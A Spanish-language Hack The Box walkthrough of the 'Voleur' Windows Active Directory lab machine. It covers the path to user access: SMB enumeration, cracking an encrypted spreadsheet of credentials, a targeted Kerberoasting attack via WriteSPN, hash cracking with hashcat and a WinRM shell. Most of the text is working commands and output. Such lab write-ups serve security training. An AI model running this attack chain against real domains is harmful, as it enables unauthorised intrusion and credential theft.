Máquina Voleur - Hack The Box
🌐 Active Directory
📋 Información General
- Nombre de la máquina: Voleur
- Dirección IP: 10.10.11.76
- Dificultad: 🟡 Media
- Sistema Operativo: Windows
- Puntos: 30
- Fecha de publicación: 05/07/2025
© 2025 Hack The Box
🔍 Enumeración
Escaneo con NMAP
Para empezar, realizamos un escaneo utilizando NMAP.
$ sudo nmap -sS -sV -sC -p- -Pn -n --min-rate 5000 -v 10.10.11.76 -oN scan
Nmap scan report for 10.10.11.76
Host is up (1.0s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-11 21:51:38Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
54377/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
54378/tcp open msrpc Microsoft Windows RPC
54390/tcp open msrpc Microsoft Windows RPC
54403/tcp open msrpc Microsoft Windows RPC
62083/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: 7h59m59s
| smb2-time:
| date: 2025-11-11T21:52:35
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Como se puede observar en la respuesta de NMAP, nos encontramos frente a un entorno de Active Directory.
Lo recomendable antes de realizar cualquier otra acción es sincronizar nuestro reloj con el de la máquina, con el fin de evitar posibles fallos, especialmente con Kerberos.
$ sudo rdate -n 10.10.11.76
Tue Nov 11 23:06:26 CET 2025
Al analizar con más detalle la respuesta de NMAP, podemos observar que, gracias al servicio ldap en el puerto 389, somos capaces de enumerar el dominio voleur.htb. Sin embargo, también resulta interesante obtener el hostname.
$ nxc smb 10.10.11.76
SMB 10.10.11.76 445 DC [*] x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
Como podemos observar, el hostname de esta máquina es dc.voleur.htb. Con esta información, podemos añadir tanto el hostname como el dominio al archivo /etc/hosts, lo que permitirá que las herramientas que utilizaremos más adelante resuelvan correctamente la dirección IP.
$ echo "10.10.11.76 dc.voleur.htb voleur.htb" >> /etc/hosts
Análisis de servicios
Una vez que hemos obtenido la información más básica del Active Directory, es conveniente comenzar una enumeración más profunda de los diferentes servicios que se encuentran expuestos.
Es importante mencionar que para esta máquina se nos han proporcionado las siguientes credenciales: ryan.naylor : HollowOct31Nyt.
Además, si observamos la respuesta anterior de netexec smb, notamos que la autenticación NTLM está deshabilitada. Por lo tanto, tendremos que utilizar Kerberos de forma constante para autenticarnos.
En estos casos, es muy recomendable crear un archivo de configuración para Kerberos, ya que herramientas como smbmap, smbclient, entre otras, funcionan de manera mucho más estable y eficiente cuando este archivo está presente.
$ nxc smb 10.10.11.76 --generate-krb5-file /etc/krb5.conf
SMB 10.10.11.76 445 DC [*] x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.10.11.76 445 DC [+] krb5 conf saved to: file
SMB 10.10.11.76 445 DC [+] Run the following command to use the conf file: export KRB5_CONFIG=/etc/krb5.conf
Ahora sí, podemos comenzar con la enumeración del servicio smb.
$ nxc smb dc.voleur.htb -u ryan.naylor -p "HollowOct31Nyt" -d voleur.htb -k
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor:HollowOct31Nyt
$ nxc smb dc.voleur.htb -u ryan.naylor -p "HollowOct31Nyt" -k -d voleur.htb --shares
SMB dc.voleur.htb 445 dc.voleur.htb [*] x64 (name:dc.voleur.htb) (domain:voleur.htb) (signing:True) (SMBv1:False)
SMB dc.voleur.htb 445 dc.voleur.htb [+] voleur.htb\ryan.naylor:HollowOct31Nyt
SMB dc.voleur.htb 445 dc.voleur.htb [+] Enumerated shares
SMB dc.voleur.htb 445 dc.voleur.htb Share Permissions Remark
SMB dc.voleur.htb 445 dc.voleur.htb ----- ----------- ------
SMB dc.voleur.htb 445 dc.voleur.htb ADMIN$ Remote Admin
SMB dc.voleur.htb 445 dc.voleur.htb C$ Default share
SMB dc.voleur.htb 445 dc.voleur.htb Finance
SMB dc.voleur.htb 445 dc.voleur.htb HR
SMB dc.voleur.htb 445 dc.voleur.htb IPC$ READ Remote IPC
SMB dc.voleur.htb 445 dc.voleur.htb IT READ
SMB dc.voleur.htb 445 dc.voleur.htb NETLOGON READ Logon server share
SMB dc.voleur.htb 445 dc.voleur.htb SYSVOL READ
$ nxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -d voleur.htb -k --spider 'IT' --regex .
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\ryan.naylor:HollowOct31Nyt
SMB dc.voleur.htb 445 dc [*] Spidering .
SMB dc.voleur.htb 445 dc //dc.voleur.htb/IT/. [dir]
SMB dc.voleur.htb 445 dc //dc.voleur.htb/IT/.. [dir]
SMB dc.voleur.htb 445 dc //dc.voleur.htb/IT/First-Line Support [dir]
SMB dc.voleur.htb 445 dc //dc.voleur.htb/IT/First-Line Support/. [dir]
SMB dc.voleur.htb 445 dc //dc.voleur.htb/IT/First-Line Support/.. [dir]
SMB dc.voleur.htb 445 dc //dc.voleur.htb/IT/First-Line Support/Access_Review.xlsx [lastm:'2025-05-30 00:23' size:16896]
Como podemos ver, hay un archivo llamado Access_Review.xlsx, así que procederemos a leerlo.
Dado que NTLM está deshabilitado, utilizaremos las herramientas de impacket, ya que funcionan muy bien con Kerberos.
Lo primero que debemos hacer es obtener un TGT para poder autenticarnos:
$ impacket-getTGT voleur.htb/ryan.naylor:'HollowOct31Nyt' -dc-ip dc.voleur.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ryan.naylor.ccache
A continuación, utilizamos ese ticket para autenticarnos en el servicio smb y descargar el archivo:
$ KRB5CCNAME=ryan.naylor.ccache impacket-smbclient voleur.htb/ryan.naylor:'HollowOct31Nyt'@dc.voleur.htb -k
> get Access_Review.xlsx
Si comprobamos el tipo de archivo, podemos ver que se encuentra encriptado:
$ file Access_Review.xlsx
Access_Review.xlsx: CDFV2 Encrypted
Procedemos a descifrar la contraseña:
$ office2john Access_Review.xlsx
$ john --wordlist=/usr/share/wordlists/rockyou.txt Access_Review.john
Con esto obtenemos que la contraseña es football1. Al abrir el archivo, encontramos varias credenciales:
svc_iis : N5pXyW1VqM7CZ8svc_ldap : M1XyC9pW7qT5Vntodd.wolfe : NightT1meP1dg3on14(usuario eliminado)
Podemos verificar estas contraseñas utilizando netexec para comprobar si son válidas.
$ nxc smb dc.voleur.htb -u svc_iis -p 'N5pXyW1VqM7CZ8' -k -d voleur.htb
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\svc_iis:N5pXyW1VqM7CZ8
$ nxc smb dc.voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k -d voleur.htb
SMB dc.voleur.htb 445 dc [*] x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB dc.voleur.htb 445 dc [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
Como podemos ver, ambas contraseñas son correctas.
💻 Acceso Inicial (User)
Explotación para el acceso
Ahora que ya hemos obtenido bastante información y contamos con un par de credenciales válidas, podemos comenzar a utilizar BloodHound para analizar cómo se relaciona toda la información recopilada y determinar los siguientes pasos a seguir con la máquina.
$ ./bloodhound.py -c all --zip -d voleur.htb -u 'ryan.naylor@voleur.htb' -p 'HollowOct31Nyt' -ns 10.10.11.76
$ sudo neo4j console &>/dev/null & disown
$ bloodhound &>/dev/null & disown
Al analizar el alcance que tenemos con los usuarios disponibles, obtenemos lo siguiente:
Con el usuario svc_ldap tenemos permiso para realizar un WriteSPN, lo que significa que podemos llevar a cabo un ataque de tipo Kerberoasting.
Kerberoasting
Lo primero que debemos hacer es modificar el SPN del usuario svc_winrm:
$ bloodyAD -k -d "voleur.htb" --host "dc.voleur.htb" -u "svc_ldap" -p "M1XyC9pW7qT5Vn" set object "svc_winrm" servicePrincipalName -v 'http/anything'
[+] svc_winrm's servicePrincipalName has been updated
A continuación, volveremos a utilizar las herramientas de impacket, primero para obtener un TGT y luego para solicitar un TGS.
TGT - svc_ldap
$ impacket-getTGT voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip dc.voleur.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_ldap.ccache
TGS - svc_winrm
$ KRB5CCNAME=svc_ldap.ccache impacket-GetUserSPNs voleur.htb/svc_ldap:"M1XyC9pW7qT5Vn" -k -dc-host dc.voleur.htb -request
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- --------- ------------------------------------------------------ -------------------------- -------------------------- ----------
HTTP/Sixe svc_winrm CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb 2025-01-31 10:10:12.398769 2025-01-29 16:07:32.711487
$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*$07e1b17f67ea54994f64025ff8148186$505e24bf9c9de2edc91363b372a6c034b5d92b05c83620e8096caedfb4364a6c3895965ec04ff3a8793a9c611385e34863673e37614c999edc5307e371a14f51dca9e58148a722ba8ca229ebbfd01bad2e797e44546ddc661784cf2438e6fcc5dcbb03d8196ba1dfe0a43bd0c6941257978c1c31795d7275377dc570a71aa0bc74f2bfc907505f3a80b2101c13af59176ddb92c9024537865aa92bcafdf1d7ca68b66a807ff3e48926481adce6f89d78a3cf2ca03db348b0aacd908b31e426df553e69af409b717776b66f4fd37346091807bebbb9b08c95026d1d27ac80959de5aa38ed3a6564cc182f101aba025e54347964f70cdbe8b3adcb5afb9541d22feb7c367ea3722fe6c674cbbc442d8e51477c092ffaba222ad6b275aecb18e6c14d2531fb669b7d9f048818528b258300fef6e61c2d71c89e70e2514d423369ed79a61e75fea01f59eab5da2bd04b98555c372d9d69d596544b77ebe0e576d70e4400f6f1f2a848b3f1ab86c9db23197cbbffe5d918423d8c0e9939413b9f8531e12d9ecb146425d9773f974314e4e8434465ec9f73abaedabe9374237a3045f1a4a8e49c3708620292f380a627dbbaef8658de3a368aac7f627871c10063caf4f7893398a3cd061f8023ce2d34f72b6b60e1cbc5d1a84dede7d5135e7ed204a7996c7d7223ca1d7d190f849cc915b63052471f3e279ef8f162edabae9ab385f4dfd910d19affd09fbb76f039b8cb4747924974abd2497b4a243fbb19a788e1950ad2ef99ea6342a797a6c637ac29110285ef2644148bfd3aa90c2928f20929627bf15d3d51741e2d9133f4ffaecca4a299f52f8bbae4a40e98a0453bfa8236d02663c320fdc7990640bdc05ac4b3f1ca6b1f35a98d3d1ab7ba9a2443739d1195f7f525c02d7257147555ae86b67e6a1e434d850256b308ae20b850102de184fa586609730d3081d4ce25f806d90a28c997427f364dd1ebeaba6cb47f84ea89ff0b587b4bc7f41d078b329cd0758bfd9c15af40f36d03ea9e742983d8f2438ca3132fd5b5a859931b3d1cc9684fdade41b50f493df074e1a4eb7244d33bf1fa2725e4e86844ab2a24a683aa6befcb73bf18aa1faaa9aa0b3ef5d82f81771fe999c1efaaf3d4a435a7193ca06c6293b4167aa6d3dd33a4dab22ccb930fc57332eac13665fd6d61e59f8764cf8bfb3094459c3fe9072d22781c4db9fab33e743fe06eab4f54459c5b57723e0308c44380a4edd6d75b1f510eea5334b7752044d9002aaf9910dea42e10ed556adf38665187901c5cbf1067a039fb1de2eb43836f315b5a8bb8aa8d601bb133d13049f38217b74bdc0a183f5314e915ac4394cb5194971d2b822369050c19787827423893a9e3e1dd8dc95bee82866940d7baa084b1a9e5a9af8cd509ad9f32734203f93fe99e4ef3f6678eb322583facb3b4b3658c749c7f6adfd13499e31c6a10db2d2a940dad58
Hemos obtenido el TGS del usuario svc_winrm, así que procederemos a intentar crackearlo:
$ hashcat -m 13100 -a 0 hash /usr/share/wordlists/rockyou.txt
Hemos tenido suerte, ya que logramos obtener la siguiente credencial: svc_winrm : AFireInsidedeOzarctica980219afi.
Dado que esta cuenta pertenece al grupo Windows Remote Management, podemos utilizar evil-winrm para obtener una consola autenticada con el usuario svc_winrm.
$ impacket-getTGT voleur.htb/svc_winrm:'AFireInsidedeOzarctica980219afi' -k
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_winrm.ccache
$ KRB5CCNAME=svc_winrm.ccache evil-winrm -i dc.voleur.htb -r voleur.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_winrm\Documents>
Ahora podemos acceder y obtener la flag user.txt.